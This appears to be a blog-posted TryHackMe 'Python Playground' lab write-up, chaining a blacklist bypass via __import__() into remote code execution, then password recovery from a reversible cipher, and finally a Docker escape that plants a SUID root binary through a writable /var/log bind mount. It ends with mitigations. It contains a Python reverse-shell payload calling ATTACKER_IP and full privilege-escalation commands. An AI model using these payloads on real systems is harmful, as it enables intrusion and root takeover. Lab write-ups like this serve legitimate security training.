DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: Python Playground Writeup

Summary

Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000
Enter fullscreen mode Exit fullscreen mode
Open MACHINE_IP:22
Open MACHINE_IP:80
Enter fullscreen mode Exit fullscreen mode
nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Enter fullscreen mode Exit fullscreen mode
curl http://MACHINE_IP/
Enter fullscreen mode Exit fullscreen mode
<h1>Secure Python Playground</h1>
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
<a href="login.html">Login</a>
<a href="signup.html">Sign up</a>
Enter fullscreen mode Exit fullscreen mode

login.html and signup.html both return a "site is admin-only right now" placeholder page.

2. Content discovery

gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html
Enter fullscreen mode Exit fullscreen mode
admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]
Enter fullscreen mode Exit fullscreen mode

admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:

curl http://MACHINE_IP/super-secret-admin-testing-panel.html
Enter fullscreen mode Exit fullscreen mode

Returns an unauthenticated form:

<h2 class="m-3">Python Playground! <sub>- By Connor</sub></h2>
<textarea class="form-control mb-3" name="code"></textarea>
<textarea class="form-control mb-3" readonly></textarea>
<input type="submit" class="form-control btn-primary mb-3" value="Go!">
Enter fullscreen mode Exit fullscreen mode

3. Filter analysis

Basic execution works fine:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"
Enter fullscreen mode Exit fullscreen mode
<textarea ...>2

Exit code 0</textarea>
Enter fullscreen mode Exit fullscreen mode

But anything referencing os/subprocess/import directly is blocked:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"
Enter fullscreen mode Exit fullscreen mode

All of these return:

<textarea class="form-control mb-3" readonly>Security threat detected!</textarea>
Enter fullscreen mode Exit fullscreen mode

4. Filter bypass

Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"
Enter fullscreen mode Exit fullscreen mode
<textarea class="form-control mb-3" readonly>
Exit code 0</textarea>
Enter fullscreen mode Exit fullscreen mode

Confirming full command execution:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"
Enter fullscreen mode Exit fullscreen mode
<textarea class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0</textarea>
Enter fullscreen mode Exit fullscreen mode

5. Reverse shell

A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'
Enter fullscreen mode Exit fullscreen mode

Caught with a listener (penelope in this case):

penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64  Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#
Enter fullscreen mode Exit fullscreen mode

Landed directly as root inside the web app's container:

root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js  node_modules  package-lock.json  package.json  scripts  static
Enter fullscreen mode Exit fullscreen mode

Container flag:

root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

6. Recovering connor's credentials (cipher reversal)

A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:

>>> def f_inv(s):
...     out = []
...     for i in range(0, len(s), 2):
...         a = ord(s[i]) - 97
...         b = ord(s[i+1]) - 97
...         out.append(chr(a*26 + b))
...     return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target)   # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245
Enter fullscreen mode Exit fullscreen mode

7. SSH access as connor

ssh connor@MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)
Enter fullscreen mode Exit fullscreen mode

Flag from connor's home directory:

connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Initial enumeration as connor came up empty:

connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su
Enter fullscreen mode Exit fullscreen mode

8. Realizing the RCE landed inside a Docker container

Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:

root@playgroundweb:~# which docker
root@playgroundweb:~#
Enter fullscreen mode Exit fullscreen mode

With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.

9. Container escape prep - abusing a shared log mount

root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data=ordered
Enter fullscreen mode Exit fullscreen mode

/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:

connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 .
...
Enter fullscreen mode Exit fullscreen mode

10. Planting a SUID root binary on the host

root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc
Enter fullscreen mode Exit fullscreen mode

11. Privilege escalation via the planted SUID binary

The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:

connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)
Enter fullscreen mode Exit fullscreen mode

Final flag:

root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

  • Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). __import__() used as a callable bypasses any blacklist built around literal import statements or named function calls.
  • Unrestricted server-side code execution as root - The playground process itself ran as root inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.
  • Sensitive host path bind-mounted into a container with write access - /var/log on the host was mounted into the application container at /mnt/log with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.
  • Weak "custom crypto" for credential storage - The connor password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.
  • Hidden but unauthenticated admin endpoint - super-secret-admin-testing-panel.html was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.

Mitigations

  • Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.
  • Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
  • Avoid bind-mounting sensitive host directories (especially /var/log or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.
  • Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
  • Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.

Top comments (0)